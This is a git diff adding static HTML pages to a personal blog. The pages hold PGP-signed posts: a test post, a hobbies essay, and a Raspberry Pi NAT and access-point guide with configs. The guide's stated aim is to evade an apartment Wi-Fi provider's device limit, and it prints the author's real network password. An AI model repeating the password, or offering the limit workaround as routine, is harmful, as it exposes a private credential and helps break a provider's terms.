    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/hello-world.asc b/public-onion/posts/hello-world.asc new file mode 100644 index 0000000..fb1d431 --- /dev/null +++ b/public-onion/posts/hello-world.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qYdAQAKVr4HvFKkfBv2btqsbenlsY +ii3FCE+/31O6jQ6Sw0xIw7KUXaXtT5BXdQHC0b9d9DwHjC+nWloCpREcebxyapUf +cOF8i8H06o2ihXwpHg0ky418tFhpOx+NRmqCbof8EYoOntLv++xbYHuG0YjGLw9Z +3g7zY9jbJUuyCfJLuCx/BvzYtn1T0n2Bu8zwNKgMzdtNUz+uWCNK7zycYPYvnXlr +bZ3NWmZ0XT+WuK7znpkfKNQASpaIrOtwT/bXQzmH1WkdXSrnaS7bIjjg+8MB7+at +l49E260lq7StwThWcdoG7epUaHpwjE/C+hItZv8buaPBx/xTumsqKVhs87bl4fd/ +LXttOUhRDw11GZxMuokzugijJxttOXIKbShmZ/fyUOwuZxJ2YsMqY9ttUrGOzk/t +L6447hSA9AhsyEnReotIMxeq779pv+fiivs9Tg99QkvUiMv39IkoK8Cf38pbCR1O +D806nTXXx6L4fmbADbZuqg4RjCaJwp2p7BGKaYwkA9rIRdmHVdJBEmD7U+W9IZp/ +18daQq3i45WoHWnTwDDhJ/1IPFUum9WCTkqtABPyrY4huxfdPUVavuGl1vgWAZ8+ +srQuHaEet4vBjcCXOOainIbxvIlY25JcTLXk3Vt1Abhf25TIU2aKimGRGgmv2EJv +IGqrQXD2ctkQP+IhyzVV +=gz9U +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/hello-world/index.html b/public-onion/posts/hello-world/index.html new file mode 100644 index 0000000..f71cda9 --- /dev/null +++ b/public-onion/posts/hello-world/index.html @@ -0,0 +1,579 @@ + + + + + + + +Hello World | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Hello World +

    + +
    +

    This is a test hello world post just to make sure everything works!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7
    +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
    +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE
    +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
    +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
    +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
    +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
    +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt
    +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep
    +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT
    +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
    +=kuAP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc
    +gpg --verify hello-world.md.asc hello-world.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/hobbies.asc b/public-onion/posts/hobbies.asc new file mode 100644 index 0000000..f6f8529 --- /dev/null +++ b/public-onion/posts/hobbies.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAkYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0quhUP/3KfdZmORKp0g8lgR8+YmirC +ITgqb05MVKd8fuja8vGF+E+XtfeM8xyOV1YDCqeEE9VIWNsjX3+ISkwMCWboyL5m +ks9/3SqSOlv7y2xMcAyVPFYkQYi0CZJ2afp3tmEXKVDOvFTqB7zPkchEbIHLZfih +I/WmCMzbDt8OEGKd0pUe9S/Ux65a9JHQ8GerA+8wQ2TSxQjtelPnD5XrWqeKhRbL +2bDpQZBDcv9dvRBTBEIpHeDg/ylyUPT8WDnIChzAt8tIZFnanMspSw+kdQddpAIF +mqzAmhlQkeRkshbGbHW2h7AeNFZC3CBOPSlp3xi1jRbS4Ao97FuKcGv3TsXM61XX ++n1GoI48dYVhDX92i1ZkG7ZJl5OKbSd/l8pxmtiqVy+nY73Jlo9SH142mVtO5Yqz +Fqvrju4WhZZjTvx8LJ7HSxx/ZFL4ciRyTCttzpqz6Gg4V3ouvrhTk1wQcQu8RiSq +l8ZKyGQ6AexBN/OYwjLFMvbdw2+oSCcMQBFPD9RmDsq+cNTeTJ9qYdvkqF6InNWr +IfOu8FUhWPwSkx/OS4zrChZX8cWq6Sxo5W7YAVOQz5/jazWrRoFJ/XNsMe5GMJr2 +WlaUl9yNtLN9IjYVHVV9xVSc222ENBlL5G/YbDCYzKn2i79OxAgpJlWoLBw+fZ/X +yyRVskOPUanwD9SLgEzF +=OVFH +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/hobbies/index.html b/public-onion/posts/hobbies/index.html new file mode 100644 index 0000000..04a026d --- /dev/null +++ b/public-onion/posts/hobbies/index.html @@ -0,0 +1,697 @@ + + + + + + + +Hobbies | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Hobbies +

    +
    + My point of view on hobbies +
    + +
    +

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    +

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    +

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    +

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    +

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    +

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

    +

    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    +

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    +

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    +

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    +

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    +

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    +

    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    +

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    +

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    +

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    +

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    +

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    +

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    +

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    +

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+
    +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP
    +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft
    +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli
    +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE
    +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v
    +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm
    +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE
    +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr
    +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR
    +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0=
    +=42yP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md.asc
    +gpg --verify hobbies.md.asc hobbies.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/house_upgrade/index.html b/public-onion/posts/house_upgrade/index.html new file mode 100644 index 0000000..28ab934 --- /dev/null +++ b/public-onion/posts/house_upgrade/index.html @@ -0,0 +1,1228 @@ + + + + + + + +I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. +
    + +
    +
    + + Table of Contents + + +
    +
    +
    +
    + +

    The Day My Wi-Fi Said “Eight Is Enough”

    +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
